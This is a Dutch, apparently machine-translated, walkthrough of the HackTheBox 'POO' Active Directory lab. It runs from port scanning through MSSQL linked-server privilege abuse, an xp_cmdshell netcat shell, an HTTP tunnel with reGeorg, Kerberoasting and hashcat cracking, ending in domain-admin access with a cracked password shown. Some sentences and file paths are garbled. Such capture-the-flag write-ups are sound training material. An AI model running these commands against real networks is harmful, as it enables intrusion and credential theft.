In dit artikel analyseren we de passage van niet alleen een machine, maar een heel minilaboratorium van de site
Zoals vermeld in de beschrijving, is POO ontworpen om vaardigheden te testen in alle stadia van aanvallen in een kleine Active Directory-omgeving. Het doel is om een beschikbare host in gevaar te brengen, privileges te escaleren en uiteindelijk het hele domein in gevaar te brengen door daarbij 5 vlaggen te verzamelen.
De verbinding met het laboratorium is via VPN. Het wordt aanbevolen om geen verbinding te maken vanaf een werkende computer of vanaf een host waar belangrijke gegevens voor u zijn, aangezien u in een privénetwerk terechtkomt met mensen die iets weten over informatiebeveiliging 🙂
organisatorische informatie
Zodat u meer te weten kunt komen over nieuwe artikelen, software en andere informatie, heb ik gemaakt
Alle informatie wordt alleen verstrekt voor educatieve doeleinden. De auteur van dit document aanvaardt geen verantwoordelijkheid voor enige schade die aan wie dan ook wordt toegebracht als gevolg van het gebruik van de kennis en methoden die zijn verkregen door het bestuderen van dit document.
Intro
Dit eindspel bestaat uit twee machines en bevat 5 vlaggen.
De beschrijving en het adres van de beschikbare host wordt ook gegeven.
Laten we beginnen!
Recon-vlag
Deze machine heeft een IP-adres van 10.13.38.11 dat ik toevoeg aan /etc/hosts.
10.13.38.11 poo.htb
De eerste stap is het scannen van open poorten. Aangezien het lang duurt om alle poorten met nmap te scannen, zal ik het eerst met masscan doen. We scannen alle TCP- en UDP-poorten van de tun0-interface op 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Laten we nu, om meer gedetailleerde informatie te krijgen over de services die op de poorten draaien, een scan uitvoeren met de optie -A.
nmap -A poo.htb -p80,1433
Zo hebben we IIS- en MSSQL-services. In dit geval zullen we de echte DNS-naam van het domein en de computer achterhalen. Op de webserver worden we begroet door de IIS-startpagina.
Laten we de mappen herhalen. Ik gebruik hiervoor gobuster. In de parameters specificeren we het aantal streams 128 (-t), URL (-u), woordenboek (-w) en extensies die ons interesseren (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
We hebben dus HTTP-authenticatie voor de /admin-directory, evenals het opslagbestand voor de .DS_Store-desktopservice beschikbaar. .DS_Store zijn bestanden die gebruikersinstellingen voor een map opslaan, zoals een lijst met bestanden, pictogramlocatie, geselecteerde achtergrondafbeelding. Zo'n bestand kan in de webserverdirectory van webontwikkelaars terechtkomen. Zo krijgen we informatie over de inhoud van de directory. Hiervoor kun je gebruiken
python3 dsstore_crawler.py -i http://poo.htb/
We krijgen de inhoud van de directory. Het meest interessante hier is de /dev directory, van waaruit we de bronnen en db-bestanden in twee takken kunnen zien. Maar we kunnen de eerste 6 tekens van bestands- en mapnamen gebruiken als de service kwetsbaar is voor IIS ShortName. U kunt op deze kwetsbaarheid controleren met behulp van
En we vinden een tekstbestand dat begint met "poo_co". Omdat ik niet wist wat ik nu moest doen, selecteerde ik gewoon uit het woordenboek van mappen alle woorden die beginnen met "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
En herhalen met wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
En zoek het juiste woord! We bekijken dit bestand, slaan de inloggegevens op (te oordelen naar de DBNAME-parameter, ze zijn van MSSQL).
We overhandigen de vlag en gaan 20% vooruit.
Euh vlag
We maken verbinding met MSSQL, ik gebruik DBeaver.
We vinden niets interessants in deze database, laten we een SQL-editor maken en controleren wat gebruikers zijn.
SELECT name FROM master..syslogins;
We hebben twee gebruikers. Laten we onze privileges controleren.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Er zijn dus geen privileges. Laten we de gekoppelde servers bekijken, ik heb in detail over deze techniek geschreven
SELECT * FROM master..sysservers;
Dus we vinden een andere SQL Server. Laten we de uitvoering van commando's op deze server controleren met behulp van openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
En we kunnen zelfs een zoekboom bouwen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Het feit is dat wanneer we een verzoek doen aan een gekoppelde server, het verzoek wordt uitgevoerd in de context van een andere gebruiker! Laten we eens kijken welke gebruikerscontext we uitvoeren op de gekoppelde server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
En laten we nu kijken in welke context het verzoek van de gekoppelde server aan de onze wordt uitgevoerd!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Het is dus een DBO-context die alle rechten moet hebben. Laten we de rechten controleren in het geval van een verzoek van een gekoppelde server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Zoals je kunt zien, hebben we alle privileges! Laten we onze admin zo maken. Maar ze laten ze niet door openquery, laten we het doen via EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
En nu maken we verbinding met de inloggegevens van de nieuwe gebruiker, observeren we de nieuwe vlaggendatabase.
We overhandigen deze vlag en gaan verder.
Backtrack-vlag
Laten we de shell ophalen met behulp van MSSQL, ik gebruik mssqlclient van het impacket-pakket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
We moeten wachtwoorden krijgen en het eerste dat we al hebben ontmoet, is de site. We hebben dus een webserverconfiguratie nodig (het is onmogelijk om een handige shell te gooien, blijkbaar werkt de firewall).
Maar de toegang wordt geweigerd. Hoewel we het bestand van MSSQL kunnen lezen, hoeven we alleen maar te weten welke programmeertalen zijn geconfigureerd. En in de MSSQL-directory ontdekken we dat er Python is.
Dan is er geen probleem om het bestand web.config te lezen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Ga met de gevonden inloggegevens naar /admin en pak de vlag op.
steunpunt vlag
In feite zijn er enkele ongemakken bij het gebruik van een firewall, maar als we door de netwerkinstellingen kijken, zien we dat het IPv6-protocol ook wordt gebruikt!
Voeg dit adres toe aan /etc/hosts.
dead:babe::1001 poo6.htb
Laten we de host opnieuw scannen, maar deze keer via IPv6.
En de WinRM-service is beschikbaar via IPv6. Laten we verbinding maken met de gevonden inloggegevens.
Er staat een vlag op het bureaublad, overhandig deze.
P00ned vlag
Na verkenning op de gastheer met
setspn.exe -T intranet.poo -Q */*
Laten we de opdracht uitvoeren via MSSQL.
Op deze manier krijgen we de SPN van gebruikers p00_hr en p00_adm, wat betekent dat ze kwetsbaar zijn voor een aanval zoals Kerberoasting. Kortom, we kunnen de hashes van hun wachtwoorden achterhalen.
Eerst moet u namens de MSSQL-gebruiker een stabiele shell krijgen. Maar aangezien we beperkte toegang hebben, hebben we alleen een verbinding met de host via poorten 80 en 1433. Maar het is mogelijk om verkeer via poort 80 te tunnelen! Hiervoor zullen we gebruiken
Maar wanneer we toegang proberen te krijgen, krijgen we een fout 404. Dit betekent dat *.aspx-bestanden niet worden uitgevoerd. Installeer ASP.NET 4.5 als volgt om bestanden met deze extensies te laten werken.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
En nu, bij het openen van tunnel.aspx, krijgen we het antwoord dat alles klaar is voor gebruik.
Laten we het clientgedeelte van de applicatie starten, dat het verkeer zal doorsturen. We zullen al het verkeer van poort 5432 doorsturen naar de server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
En we gebruiken proxychains om het verkeer van elke applicatie via onze proxy te sturen. Laten we deze proxy toevoegen aan het configuratiebestand /etc/proxychains.conf.
Laten we nu het programma uploaden naar de server
Nu lanceren we via MSSQL de luisteraar.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
En we maken verbinding via onze proxy.
proxychains rlwrap nc poo.htb 4321
En laten we de hashes pakken.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Vervolgens moet u deze hashes herhalen. Omdat rockyou geen wachtwoordwoordenboek had, heb ik ALLE wachtwoordenwoordenboeken gebruikt die in Seclists worden aangeboden. Voor opsomming gebruiken we hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
En we vinden beide wachtwoorden, de eerste in het dutch_passwordlist.txt woordenboek, en de tweede in Keyboard-Combinations.txt.
En dus hebben we drie gebruikers, we gaan naar de domeincontroller. Laten we eerst zijn adres achterhalen.
Geweldig, we hebben het IP-adres van de domeincontroller geleerd. Laten we eens kijken naar alle gebruikers van het domein, en wie van hen een beheerder is. Om het script te downloaden om informatie PowerView.ps1 te krijgen. Vervolgens maken we verbinding met behulp van evil-winrm, waarbij we de map specificeren met het script in de parameter -s. En laad dan gewoon het PowerView-script.
Nu hebben we toegang tot al zijn functies. De p00_adm-gebruiker ziet eruit als een geprivilegieerde gebruiker, dus we zullen in zijn context werken. Laten we een PSCredential-object voor deze gebruiker maken.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nu worden alle Powershell-commando's waarbij we Creds specificeren uitgevoerd namens p00_adm. Laten we een lijst met gebruikers en het kenmerk AdminCount weergeven.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
En dus is onze gebruiker echt bevoorrecht. Laten we eens kijken tot welke groepen hij behoort.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
We bevestigen eindelijk dat de gebruiker een domeinbeheerder is. Dit geeft het het recht om op afstand in te loggen op de domeincontroller. Laten we proberen in te loggen met WinRM met behulp van onze tunnel. Ik was in de war door de fouten van reGeorg bij het gebruik van evil-winrm.
Dan gebruiken we een andere, gemakkelijkere,
We proberen verbinding te maken en we zitten in het systeem.
Maar er is geen vlag. Kijk dan naar de gebruiker en controleer de desktops.
Bij mr3ks vinden we de vlag en is het laboratorium 100% af.
Dat is alles. Geef als feedback aan of je iets nieuws uit dit artikel hebt geleerd en of het nuttig voor je was.
U kunt bij ons terecht op
Bron: www.habr.com